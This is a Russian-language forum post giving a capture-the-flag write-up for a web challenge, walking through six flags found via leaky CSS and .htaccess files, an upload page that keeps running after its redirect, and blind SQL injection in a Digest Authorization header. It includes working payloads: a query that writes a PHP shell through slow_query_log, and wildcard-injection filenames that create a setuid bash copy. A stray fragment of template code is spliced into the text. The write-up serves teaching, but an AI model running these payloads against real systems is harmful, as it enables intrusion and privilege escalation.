Тема: Task #5
Показать сообщение отдельно

  #1  
Старый 08.04.2019, 17:04
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию

Цитата:
Сообщение от man474019  

will be write-up ?
Да, конечно, write-up ниже

Небывалую упертость в поисках флагов показалиGorbachev, MichelleBoxing, Franky_T, BillyBons отдельное вам спасибо ! Что-то издалека похожее на 5 флагов присылал BabaDook

Сайт на голом html, открываем панель разработчика. сплошная статика. только один css файл, в котором подгружается картинка из админки

flag 1.

/style.css


Код:
...
        background:url(/admin_j458hj45ad/login.jpg)
       /* {flag 1} - hackedbymarysa */
никогда не забывайте просматривать .css и .js файлы, в них можно найти много полезной инфы от админки до скрытых уязвимых сценариев

flag 2.

/admin_j458hj45ad/.htaccess

Код:
RewriteEngine off

  Deny from all

  Allow from all
  Require all granted

# {flag 2} - marusya4ever
кривые регулярки - находка для сканнеров

flag 3.

/admin_j458hj45ad/upload.php3


Код:
if(!isset($_SESSION["admin"])) header("Location: admin_secret_login.php3");
при попытке открыть upload вас перекидывало на админку. но выполнение сценария продолжалось. не забывайте юзать curl/burp во время пентеста

решение #1

Цитата:
Сообщение от joelblack  
решение #2

Цитата:
Сообщение от MichelleBoxing  

зашел на страницу через guest:guest
flag 4.

/admin_j458hj45ad/admin_secret_login.php3


Код:
function logging($url,$ip){
...
$query  = "SELECT count(*) FROM adminlog WHERE ip='$ip';";
$query .= "INSERT INTO adminlog VALUES ('$url','$ip');";
$mysqli->multi_query($query);
скрытая SQLI. Админ логировал обращение к админке и IP адрес в базу данных, данные брались прямо из хидер заголовка

прохождение:

Цитата:
Сообщение от istefy  

в подсказке мы можем увидеть кусок логов:
185.98.6.66 - - [19/Mar/2019:11:10:15 +0000] "GET /admin_j458hj45ad/admin_secret_login.php3?username=test'&realm=ADMIN AREA&nonce=5c84f4cac9da4&url=/admin_secret_login.php3&response=edbf607287ed31322 f414b5b2e85327e&opaque=083d15b45f53f59b2c020d5d955 63e1e&qop=auth&nc=00000003&cnonce=34af9eb675b7cb93 HTTP/1.1" 401 545 "-" "Marusa/5.0 (WindowsFuture NT 10.0; win15; x256)"
185.98.6.66 - - [19/Mar/2019:11:10:23 +0000] "GET /admin_j458hj45ad/admin_secret_login.php3 HTTP/1.1" 401 540 "-" "Marusa/5.0 (WindowsFuture NT 15.0; win15; x256)"
в первой строчке username=test' можно сделать вывод что хакер подбирал sql-инъекцию. Так как во второй строчке уже нет параметров но размер ответа другой можно сделать вывод что инъекция в заголовке, перебирая заголовки находим инъекцию в заголовке Authorization в параметре url:
Authorization: Digest username="test'", realm="ADMIN AREA", nonce="5c84f4cac9da4", uri="/admin_secret_login.php3'", response="edbf607287ed31322f414b5b2e85327e", opaque="083d15b45f53f59b2c020d5d95563e1e", qop=auth, nc=00000003, cnonce="34af9eb675b7cb93"
flag 5.

Цитата:
Сообщение от Gorbachev  

И заветный флаг:
http://task.antichat.com:10005/upload/{flag5.txt}
marusya18+
SQLI на 99% слепая, даже sleep не помогал участникам определить результат выполнения команды

Требовалось записать шелл с рутовыми правами без rw дирректорий в файл, залитый с помощью флага #3

многие не поверили что скуля настоящая, кто-то крашил таблицу, кто-то вообще вырубал mysql с помощью ;SHUTDOWN; (и наблюдал error)

когда стало понятно, что скуля настоящая

почти все, кому удалось покорить флаг сделали это через slow_query_log или general_log_file

условный poc:

Цитата:
Сообщение от None  
',1); select '';SET GLOBAL slow_query_log = 'ON';slow_query_log = /var/www/html/upload/images/sess/1.php;select sleep(20);-- 1
flag 6. Сам флаг создан с правами маруси. Значит нужны права маруси

Код:
4901 -rwx------  1 marusya marusya   14 Feb 25 12:45 flag6.txt
заходим в ее домашний каталог, замечаем что файл

Код:
2638459 -rw-r--r-- 1 marusya marusya 204 апр  8 11:38 /home/marusya/checksize.zip
обновляется каждую минуту

особо внимательные заметили в процессах запуск

Код:
2633670 -rwxr-xr-x 1 root root 59 мар 19 17:02 cron/clear.php
простым решением было написать логгер в кронтаб

Код:
* * * * * ps aux | grep marusya > /tmp/1.txt
кто-то оказался слишком брутальным

Код:
www-data 17323 98.4  0.1  11216  2080 ?        R    21:56   1:10 grep -r marusya /
видим запуск /usr/bin/checksize от marusya, там:

[CODE]
cd /var/www/html/upload/images/;
file=/home/marusya/checksize.zip
zip -r -9 ~/checksize.zip *
sleep 2
minimumsize=12000000
actualsize=$(wc -c runme.sh
touch -- '-TT bash runme.sh'
touch -- '--test'

[/QUOTE]
" if author else f"
Цитата:
gurux13 said:

echo 'cp /bin/bash /tmp/iamthegod; chmod +s /tmp/iamthegod' > runme.sh
touch -- '-TT bash runme.sh'
touch -- '--test'
//добавлено

про wildcard символ можно почитать

https://www.hackingarticles.in/explo...ge-escalation/

https://www.defensecode.com/public/D..._Gone_Wild.txt
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием